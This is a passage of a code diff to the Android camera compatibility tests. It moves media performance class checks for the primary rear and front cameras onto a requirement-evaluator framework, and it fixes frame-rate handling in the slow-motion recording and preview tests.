                             Arrays.asList(config.getHighSpeedVideoFpsRangesFor(size));
+                    int previewFps = Integer.MAX_VALUE;
+                    for (Range<Integer> range : ranges) {
+                        int rangeMin = range.getLower();
+                        if (previewFps > rangeMin) {
+                            previewFps = rangeMin;
+                        }
+                    }
+                    Log.v(TAG, "Advertised preview fps is: " + previewFps);
+                    // We only support preview of 30fps or 60fps.
+                    assertTrue("Preview fps " + previewFps + " is not valid.",
+                            (previewFps == 30 || previewFps == 60));
                     for (Range<Integer> range : ranges) {
                         assertTrue("The range " + range + " doesn't satisfy the"
                                 + " min/max boundary requirements.",
@@ -2324,10 +2332,12 @@
                         assertTrue("The range " + range + " should be multiple of 30fps",
                                 range.getLower() % 30 == 0 && range.getUpper() % 30 == 0);
                         // If the range is fixed high speed range, it should contain the
-                        // [30, fps_max] in the high speed range list; if it's variable FPS range,
-                        // the corresponding fixed FPS Range must be included in the range list.
+                        // [previewFps, fps_max] in the high speed range list; if it's variable FPS
+                        // range, the corresponding fixed FPS Range must be included in the range
+                        // list.
                         if (range.getLower() == range.getUpper()) {
-                            Range<Integer> variableRange = new Range<Integer>(30, range.getUpper());
+                            Range<Integer> variableRange = new Range<Integer>(previewFps,
+                                    range.getUpper());
                             assertTrue("The variable FPS range " + variableRange +
                                     " shoould be included in the high speed ranges for size " +
                                     size, ranges.contains(variableRange));
@@ -2808,28 +2818,70 @@
     }
 
     /**
-     * Update performance class level based on condition
-     *
-     * @param condition whether the condition is met for passLevel
-     * @param passLevel the highest performance class level when condition is true
-     * @param failLevel the performance class when condition is false
+     * Camera hardware level requirement for Media Performance Class
      */
-    private int updatePerfClassLevel(boolean condition, int passLevel, int failLevel) {
-        return condition ? passLevel : failLevel;
-    }
+    public static class PrimaryCameraHwLevelReq extends Requirement {
+        private static final String TAG = PrimaryCameraHwLevelReq.class.getSimpleName();
 
-    /**
-     * Update perf class level based on meetSPerfClass and meetRPerfClass.
-     */
-    private int updatePerfClassLevelRS(boolean meetSPerfClass, boolean meetRPerfClass,
-            int perfClassLevel) {
-        if (!meetRPerfClass) {
-            return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        } else if (!meetSPerfClass &&
-                perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
-            return Math.min(CameraTestUtils.PERFORMANCE_CLASS_R, perfClassLevel);
+        /**
+         * Creates a >= predicate for camera hardware level
+         */
+        private static BiPredicate<Integer, Integer> camHwLevelGte() {
+            return new BiPredicate<Integer, Integer>() {
+                @Override
+                public boolean test(Integer actual, Integer expected) {
+                    return StaticMetadata.hardwareLevelPredicate(actual, expected);
+                }
+
+                @Override
+                public String toString() {
+                    return "Camera Hardware Level Greater than or equal to";
+                }
+            };
         }
-        return perfClassLevel;
+        private static final BiPredicate<Integer, Integer> CAM_HW_LEVEL_GTE = camHwLevelGte();
+        private PrimaryCameraHwLevelReq(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setPrimaryRearCameraHwlLevel(Integer hwLevel) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_HWL_LEVEL, hwLevel);
+        }
+
+        public void setPrimaryFrontCameraHwlLevel(Integer hwLevel) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_HWL_LEVEL, hwLevel);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-3] MUST support android.info.supportedHardwareLevel property as FULL or
+         * better for back primary and LIMITED or better for front primary camera.
+         */
+        public static PrimaryCameraHwLevelReq createPrimaryCameraHwLevelReq() {
+            RequiredMeasurement<Integer> rearCameraHwlLevel = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.REAR_CAMERA_HWL_LEVEL)
+                .setPredicate(CAM_HW_LEVEL_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+                .addRequiredValue(Build.VERSION_CODES.S,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+                .build();
+            RequiredMeasurement<Integer> frontCameraHwlLevel = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_HWL_LEVEL)
+                .setPredicate(CAM_HW_LEVEL_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED)
+                .addRequiredValue(Build.VERSION_CODES.S,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+                        CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+                .build();
+            return new PrimaryCameraHwLevelReq(RequirementConstants.R7_5__H_1_3,
+                    rearCameraHwlLevel, frontCameraHwlLevel);
+        }
     }
 
     /**
@@ -2837,34 +2889,47 @@
      * in CDD camera section 7.5
      */
     @Test
-    @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14")
+    @CddTest(requirements = {
+            "2.2.7.2/7.5/H-1-1",
+            "2.2.7.2/7.5/H-1-2",
+            "2.2.7.2/7.5/H-1-3",
+            "2.2.7.2/7.5/H-1-4",
+            "2.2.7.2/7.5/H-1-8",
+            "2.2.7.2/7.5/H-1-9",
+            "2.2.7.2/7.5/H-1-10",
+            "2.2.7.2/7.5/H-1-11",
+            "2.2.7.2/7.5/H-1-12",
+            "2.2.7.2/7.5/H-1-13",
+            "2.2.7.2/7.5/H-1-14"})
     public void testCameraPerfClassCharacteristics() throws Exception {
         if (mAdoptShellPerm) {
             // Skip test for system camera. Performance class is only applicable for public camera
             // ids.
             return;
         }
-        boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
-        boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
-        boolean assertTPerfClass = CameraTestUtils.isTPerfClass();
-        boolean assertPerfClass = (assertRPerfClass || assertSPerfClass || assertTPerfClass);
-
-        // R & S Performance Class
-        int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
-        // T Performance Class
-        int perfClassLevelH19 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH110 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH111 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
-        DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.PrimaryCameraRequirement primaryRearReq =
+                pce.addPrimaryRearCameraReq();
+        PerformanceClassEvaluator.PrimaryCameraRequirement primaryFrontReq =
+                pce.addPrimaryFrontCameraReq();
+        PrimaryCameraHwLevelReq hwLevelReq = pce.addRequirement(
+                PrimaryCameraHwLevelReq.createPrimaryCameraHwLevelReq());
+        PerformanceClassEvaluator.CameraTimestampSourceRequirement timestampSourceReq =
+                pce.addR7_5__H_1_4();
+        PerformanceClassEvaluator.CameraRawRequirement rearRawReq =
+                pce.addR7_5__H_1_8();
+        PerformanceClassEvaluator.Camera240FpsRequirement hfrReq =
+                pce.addR7_5__H_1_9();
+        PerformanceClassEvaluator.UltraWideZoomRatioRequirement ultrawideZoomRatioReq =
+                pce.addR7_5__H_1_10();
+        PerformanceClassEvaluator.ConcurrentRearFrontRequirement concurrentRearFrontReq =
+                pce.addR7_5__H_1_11();
+        PerformanceClassEvaluator.PreviewStabilizationRequirement previewStabilizationReq =
+                pce.addR7_5__H_1_12();
+        PerformanceClassEvaluator.LogicalMultiCameraRequirement logicalMultiCameraReq =
+                pce.addR7_5__H_1_13();
+        PerformanceClassEvaluator.StreamUseCaseRequirement streamUseCaseReq =
+                pce.addR7_5__H_1_14();
 
         String primaryRearId = null;
         String primaryFrontId = null;
@@ -2891,42 +2956,29 @@
             List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(cameraId,
                     mCameraManager, null /*bound*/);
 
+            Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
             if (isPrimaryRear) {
                 primaryRearId = cameraId;
-                if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
-                    mCollector.expectTrue("Primary rear camera resolution should be at least " +
-                            MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution, !assertPerfClass);
-                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                }
-                reportLog.addValue("rear camera resolution", sensorResolution,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                primaryRearReq.setPrimaryCameraSupported(true);
+                primaryRearReq.setResolution(sensorResolution);
+                hwLevelReq.setPrimaryRearCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+                timestampSourceReq.setRearCameraTimestampSource(timestampSource);
 
                 // 4K @ 30fps
                 boolean supportUHD = videoSizes.contains(UHD);
                 boolean supportDC4K = videoSizes.contains(DC4K);
-                reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                if (!supportUHD && !supportDC4K) {
-                    mCollector.expectTrue("Primary rear camera should support 4k video recording",
-                            !assertPerfClass);
-                    perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                } else {
+                boolean support4K = (supportUHD || supportDC4K);
+                primaryRearReq.setVideoSizeReqSatisfied(support4K);
+                if (support4K) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
-                    reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                    if (minFrameDuration >= (1e9 / 29.9)) {
-                        mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
-                                !assertPerfClass);
-                        perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                    }
+                    primaryRearReq.setVideoFps(1e9 / minFrameDuration);
+                } else {
+                    primaryRearReq.setVideoFps(-1);
                 }
 
                 // H-1-9
                 boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED);
-                mCollector.expectTrue("Primary rear camera should support high speed recording",
-                        !assertTPerfClass || supportHighSpeed);
                 boolean support240Fps = false;
                 if (supportHighSpeed) {
                     Size[] availableHighSpeedSizes = config.getHighSpeedVideoSizes();
@@ -2946,101 +2998,31 @@
                             break;
                         }
                     }
-                    mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240",
-                            !assertTPerfClass || support240Fps);
                 }
-                perfClassLevelH19 = updatePerfClassLevel(support240Fps,
-                        perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
-                reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                hfrReq.setRear240FpsSupported(support240Fps);
             } else {
                 primaryFrontId = cameraId;
-                if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
-                    mCollector.expectTrue("Primary front camera resolution should be at least "
-                            + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "
-                            + sensorResolution, !(assertSPerfClass || assertTPerfClass));
-                    perfClassLevelH12 = Math.min(
-                            perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
-                }
-                if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
-                    mCollector.expectTrue("Primary front camera resolution should be at least " +
-                            MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
-                            sensorResolution, !assertRPerfClass);
-                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                }
-                reportLog.addValue("front camera resolution", sensorResolution,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                primaryFrontReq.setPrimaryCameraSupported(true);
+                primaryFrontReq.setResolution(sensorResolution);
+                hwLevelReq.setPrimaryFrontCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+                timestampSourceReq.setFrontCameraTimestampSource(timestampSource);
 
                 // 1080P @ 30fps
                 boolean supportFULLHD = videoSizes.contains(FULLHD);
-                reportLog.addValue("front camera 1080p support", supportFULLHD,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
-                if (!supportFULLHD) {
-                    mCollector.expectTrue(
-                            "Primary front camera should support 1080P video recording",
-                            !assertPerfClass);
-                    perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                } else {
+                primaryFrontReq.setVideoSizeReqSatisfied(supportFULLHD);
+                if (supportFULLHD) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, FULLHD);
-                    if (minFrameDuration >= (1e9 / 29.9)) {
-                        mCollector.expectTrue(
-                                "Primary front camera should support 1080P video @ 30fps",
-                                !assertPerfClass);
-                        perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-                    }
-                    reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
-                        ResultType.NEUTRAL, ResultUnit.NONE);
+                    primaryFrontReq.setVideoFps(1e9 / minFrameDuration);
+                } else {
+                    primaryFrontReq.setVideoFps(-1);
                 }
             }
 
-            String facingString = isPrimaryRear ? "rear" : "front";
-            // H-1-3
-            if (assertTPerfClass || assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
-                mCollector.expectTrue("Primary " + facingString +
-                        " camera should be at least FULL, but is " +
-                        toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
-                        staticInfo.isHardwareLevelAtLeastFull());
-            } else if (assertRPerfClass) {
-                mCollector.expectTrue("Primary " + facingString +
-                        " camera should be at least LIMITED, but is " +
-                        toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
-                        staticInfo.isHardwareLevelAtLeastLimited());
-            }
-
-            reportLog.addValue(facingString + " camera hardware level",
-                    staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
-            if (isPrimaryRear) {
-                perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
-                        perfClassLevelH13, CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
-            } else {
-                perfClassLevelH13 = updatePerfClassLevelRS(staticInfo.isHardwareLevelAtLeastFull(),
-                        staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
-            }
-
-            // H-1-4
-            Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
-            reportLog.addValue(facingString + " timestampSource",
-                    timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
-            boolean realtimeTimestamp = (timestampSource != null &&
-                    timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
-            mCollector.expectTrue(
-                    "Primary " + facingString + " camera should support real-time timestamp source",
-                    !assertPerfClass || realtimeTimestamp);
-            perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14,
-                    CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
-
             // H-1-8
             if (isPrimaryRear) {
                 boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
-                reportLog.addValue(facingString + " camera raw support",
-                        supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
-                if (assertSPerfClass || assertTPerfClass) {
-                    mCollector.expectTrue("Primary rear camera should support RAW capability",
-                            supportRaw);
-                }
-                perfClassLevelH18 = updatePerfClassLevel(supportRaw, perfClassLevelH18,
-                        CameraTestUtils.PERFORMANCE_CLASS_R);
+                rearRawReq.setRearRawSupported(supportRaw);
             }
 
             // H-1-10
@@ -3049,96 +3031,76 @@
             Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
             boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
                     || (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD);
-            mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < "
-                    + "1.0f if there is an ultrawide lens with the same facing",
-                    !assertTPerfClass || meetH110);
-            perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110,
-                    CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio",
-                    meetH110, ResultType.NEUTRAL, ResultUnit.NONE);
+            if (isPrimaryRear) {
+                ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(meetH110);
+            } else {
+                ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(meetH110);
+            }
 
             // H-1-12
-            boolean meetH112 = staticInfo.isPreviewStabilizationSupported();
-            mCollector.expectTrue("Primary " + facingString + " camera must support preview "
-                    + "stabilization", !assertTPerfClass || meetH112);
-            perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112,
-                    CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera preview stabilization", meetH112,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
+            boolean previewStab = staticInfo.isPreviewStabilizationSupported();
+            if (isPrimaryRear) {
+                previewStabilizationReq.setRearPreviewStabilizationSupported(previewStab);
+            } else {
+                previewStabilizationReq.setFrontPreviewStabilizationSupported(previewStab);
+            }
 
             // H-1-13
             int facing = staticInfo.getLensFacingChecked();
             int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
-            boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
-            mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA"
-                    + " in case of multiple RGB cameras with same facing",
-                    !assertTPerfClass || meetH113);
-            perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
-                    CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple "
-                    + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
+            boolean logicalMultiCameraReqMet =
+                    (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
+            if (isPrimaryRear) {
+                logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+            } else {
+                logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+            }
 
             // H-1-14
-            boolean meetH114 = staticInfo.isStreamUseCaseSupported();
-            mCollector.expectTrue("Primary " + facingString + " camera must support stream "
-                    + "use case", !assertTPerfClass || meetH114);
-            perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
-                    CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera stream use case", meetH114,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
+            boolean streamUseCaseSupported = staticInfo.isStreamUseCaseSupported();
+            if (isPrimaryRear) {
+                streamUseCaseReq.setRearStreamUseCaseSupported(streamUseCaseSupported);
+            } else {
+                streamUseCaseReq.setFrontStreamUseCaseSupported(streamUseCaseSupported);
+            }
         }
-        HashSet<String> primaryCameras = new HashSet<String>();
+
         if (primaryRearId == null) {
-            mCollector.expectTrue("There must be a primary rear camera for performance class.",
-                    !assertPerfClass);
-            perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        } else {
-            primaryCameras.add(primaryRearId);
+            primaryRearReq.setPrimaryCameraSupported(false);
+            primaryRearReq.setResolution(-1);
+            primaryRearReq.setVideoSizeReqSatisfied(false);
+            primaryRearReq.setVideoFps(-1);
+            hwLevelReq.setPrimaryRearCameraHwlLevel(-1);
+            timestampSourceReq.setRearCameraTimestampSource(
+                    CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+            rearRawReq.setRearRawSupported(false);
+            hfrReq.setRear240FpsSupported(false);
+            ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(false);
+            previewStabilizationReq.setRearPreviewStabilizationSupported(false);
+            logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(false);
+            streamUseCaseReq.setRearStreamUseCaseSupported(false);
         }
         if (primaryFrontId == null) {
-            mCollector.expectTrue("There must be a primary front camera for performance class.",
-                    !assertPerfClass);
-            perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
-        } else {
-            primaryCameras.add(primaryFrontId);
+            primaryFrontReq.setPrimaryCameraSupported(false);
+            primaryFrontReq.setResolution(-1);
+            primaryFrontReq.setVideoSizeReqSatisfied(false);
+            primaryFrontReq.setVideoFps(-1);
+            hwLevelReq.setPrimaryFrontCameraHwlLevel(-1);
+            timestampSourceReq.setFrontCameraTimestampSource(
+                    CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+            ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
+            previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
+            logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false);
+            streamUseCaseReq.setFrontStreamUseCaseSupported(false);
         }
 
         // H-1-11
         Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds();
+        Set<String> primaryCameras = new HashSet<>(Arrays.asList(primaryRearId, primaryFrontId));
         boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras);
-        mCollector.expectTrue("Concurrent primary front and primary back streaming must be "
-                + "supported", !assertTPerfClass || supportPrimaryFrontBack);
-        perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack,
-                perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S);
-        reportLog.addValue("concurrent front back support", supportPrimaryFrontBack,
-                 ResultType.NEUTRAL, ResultUnit.NONE);
+        concurrentRearFrontReq.setConcurrentRearFrontSupported(supportPrimaryFrontBack);
 
-        reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
-        final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
-                perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
-                perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
-                perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
-                perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
-                perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-9",
-                perfClassLevelH19, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-10",
-                perfClassLevelH110, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-11",
-                perfClassLevelH111, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-12",
-                perfClassLevelH112, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-13",
-                perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14",
-                perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit(InstrumentationRegistry.getInstrumentation());
+        pce.submitAndCheck();
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3c88a3a..c9c28ea 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1234,8 +1234,13 @@
 
                         mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" +
                             captureRate + "fps_" + id + "_" + size.toString() + ".mp4";
-                        Log.v(TAG, "previewFrameRate:" + previewFrameRate);
-                        prepareRecording(size, previewFrameRate, captureRate);
+
+                        // b/239101664 It appears that video frame rates higher than 30 fps may not
+                        // trigger slow motion recording consistently.
+                        int videoFrameRate = previewFrameRate > VIDEO_FRAME_RATE ?
+                                VIDEO_FRAME_RATE : previewFrameRate;
+                        Log.v(TAG, "videoFrameRate:" + videoFrameRate);
+                        prepareRecording(size, videoFrameRate, captureRate);
 
                         SystemClock.sleep(PREVIEW_DURATION_MS);
 
@@ -1243,7 +1248,7 @@
 
                         SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
                         // Start recording
-                        startSlowMotionRecording(/*useMediaRecorder*/true, previewFrameRate,
+                        startSlowMotionRecording(/*useMediaRecorder*/true, videoFrameRate,
                                 captureRate, fpsRange, resultListener,
                                 /*useHighSpeedSession*/true);
 
@@ -1256,7 +1261,7 @@
                         startConstrainedPreview(fpsRange, previewResultListener);
 
                         // Convert number of frames camera produced into the duration in unit of ms.
-                        float frameDurationMs = 1000.0f / previewFrameRate;
+                        float frameDurationMs = 1000.0f / videoFrameRate;
                         float durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
 
                         // Validation.
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 88f2710..8e0f1b9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -299,11 +299,11 @@
         if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
             mCollector.expectTrue(
                 String.format("Camera %s: Preview peak frame interval affected by use of new " +
-                        " stream: preview avg frame duration: %f ms, peak with new stream: %f ms",
+                        " stream: preview peak frame interval: %f ms, peak with new stream: %f ms",
                         cameraId,
-                        frameDurationStats.first / 1e6, preparedFrameDurationStats.second / 1e6),
+                        frameDurationStats.second / 1e6, preparedFrameDurationStats.second / 1e6),
                 (preparedFrameDurationStats.second <=
-                        Math.max(frameDurationStats.first, readerMinFrameDuration) *
+                        Math.max(frameDurationStats.second, readerMinFrameDuration) *
                         (1 + PREPARE_PEAK_RATE_BOUNDS)));
             mCollector.expectTrue(
                 String.format("Camera %s: Preview average frame interval affected by use of new " +
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index e8d6168..4a86b49 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -142,8 +142,6 @@
 
     public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
     public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
-    public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
-    public static final String MPC_STREAM_NAME = "CameraCts";
 
     private static final int EXIF_DATETIME_LENGTH = 19;
     private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -3815,33 +3813,6 @@
         return zoomRatios;
     }
 
-    public static final int PERFORMANCE_CLASS_NOT_MET = 0;
-    public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
-    public static final int PERFORMANCE_CLASS_T = Build.VERSION_CODES.S + 2;
-    public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_T;
-
-    /**
-     * Check whether this mobile device is R performance class as defined in CDD
-     */
-    public static boolean isRPerfClass() {
-        return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R;
-    }
-
-    /**
-     * Check whether this mobile device is S performance class as defined in CDD
-     */
-    public static boolean isSPerfClass() {
-        return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S;
-    }
-
-    /**
-     * Check whether this mobile device is T performance class as defined in CDD
-     */
-    public static boolean isTPerfClass() {
-        return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_T;
-    }
-
     /**
      * Check whether a camera Id is a primary rear facing camera
      */
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index fc8c4db..f188685 100644
